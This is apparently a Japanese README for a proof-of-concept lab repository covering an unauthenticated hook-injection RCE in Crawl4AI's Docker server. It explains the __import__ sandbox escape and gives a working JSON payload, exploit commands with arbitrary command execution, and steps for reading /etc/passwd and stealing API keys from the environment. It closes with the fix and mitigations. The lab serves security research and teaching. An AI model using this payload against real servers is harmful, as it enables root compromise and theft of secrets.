
CVE-2026-26216の概念実証エクスプロイト。Crawl4AIのDockerデプロイメントにおけるフックインジェクションを介した未認証のリモートコード実行を示します。脆弱なラボ環境を含みます。
hooks 経由の未認証 RCE(GHSA-5882-5rx9-xgxp)CVSS 10.0 · pre-auth RCE · CWE-94(コードインジェクション) Crawl4AI(< 0.8.0)の Docker サーバー上での未認証のリモートコード実行。
POST /crawlエンドポイントのhooksパラメータを悪用します。 POST で JSON を 1 つ送るだけで、コンテナ内で Python が root として実行されます。
これは、セキュリティ研究および教育目的のための、自己完結型で再現可能なラボ用 PoC です。
POST /crawl エンドポイントは、hooks.code.<evento> フィールドに任意の Python コードを受け入れます。このコードは「手作りサンドボックス」— 制限されたビルトインの辞書 — の中で exec() によって実行されます。しかし、__import__ が許可リストに残されているため、 が可能になり、サンドボックス全体を無効化できます。
__import__('os').system(...)POST /crawl
{
"urls": ["https://example.com"],
"hooks": {
"code": {
"on_page_context_created":
"async def hook(page, context, **kwargs):\n __import__('os').system('id')\n return page"
}
}
}
公式デプロイは JWT がデフォルトで無効で、コンテナは root として実行されるため、結果として事前認証での root RCE が発生します。
サンドボックスは機能しているように見えます。open、eval、exec は削除されているため、素朴な攻撃(open('/etc/passwd'))はブロックされます。これにより誤った安心感が生まれます。しかし、危険なビルトインが1つでも残っていれば(__import__)、標準ライブラリ全体(os、subprocess、socket)をインポートでき、許可リストはただの飾りになります。ビルトインの許可リストはサンドボックスではありません。
CVE-2026-26216/
├── README.md
├── docker-compose.yml # sobe o servidor vulnerável
├── vulnerable-app/
│ ├── Dockerfile # imagem que roda como root (igual à oficial)
│ ├── requirements.txt
│ ├── server.py # FastAPI: POST /crawl sem auth
│ └── hook_manager.py # o sandbox fraco (a linha vulnerável está aqui)
└── exploit/
└── exploit.py # exploit Python (só stdlib)
忠実性に関する注記。
vulnerable-app/は、Crawl4AI の脆弱なコードパスの簡素化された再現です(Chromium/Playwright は起動しません)。PoC を軽量かつ 100% 再現可能にするためです。サンドボックスの動作とペイロードの構造は、公式アドバイザリ GHSA-5882-5rx9-xgxp を反映しています。脆弱な行はvulnerable-app/hook_manager.py内にマークされています。
# 1. sobe o alvo
docker compose up -d --build
# 2. demonstração completa
python3 exploit/exploit.py --target http://localhost:11235 --demo
# 3. comando arbitrário
python3 exploit/exploit.py --target http://localhost:11235 --cmd "id; hostname; env"
# 4. derruba
docker compose down -v
| # | アクション | 影響 |
|---|---|---|
| 1 | open('/etc/passwd') 直接実行 | サンドボックスにブロックされる(誤った安心感) |
| 2 | __import__('subprocess') + id/whoami | root として RCE |
| 3 | シェル経由の cat /etc/passwd | 任意のファイル読み取り |
| 4 | env | grep KEY | API キー / トークンの窃取 |
| 5 | echo ... > /tmp/PWNED | 任意のファイル書き込み |
そこから先: 内部ネットワークへのピボット、クラウド認証情報の窃取、永続化など。
OPENAI_API_KEY、内部トークン、コンテナのシークレットの窃取。これらすべてが認証なしで可能です。
Crawl4AI 0.8.0 で修正されました:
__import__(および eval/exec/open)が許可されたビルトインから削除されました。CRAWL4AI_HOOKS_ENABLED=true を介して行います。一般的な緩和策:
crawl4ai >= 0.8.0 にアップデートしてください。許可されたセキュリティ研究と教育のための資料です。所有しているシステム、または文書による明示的なテスト許可を得たシステムでのみ使用してください。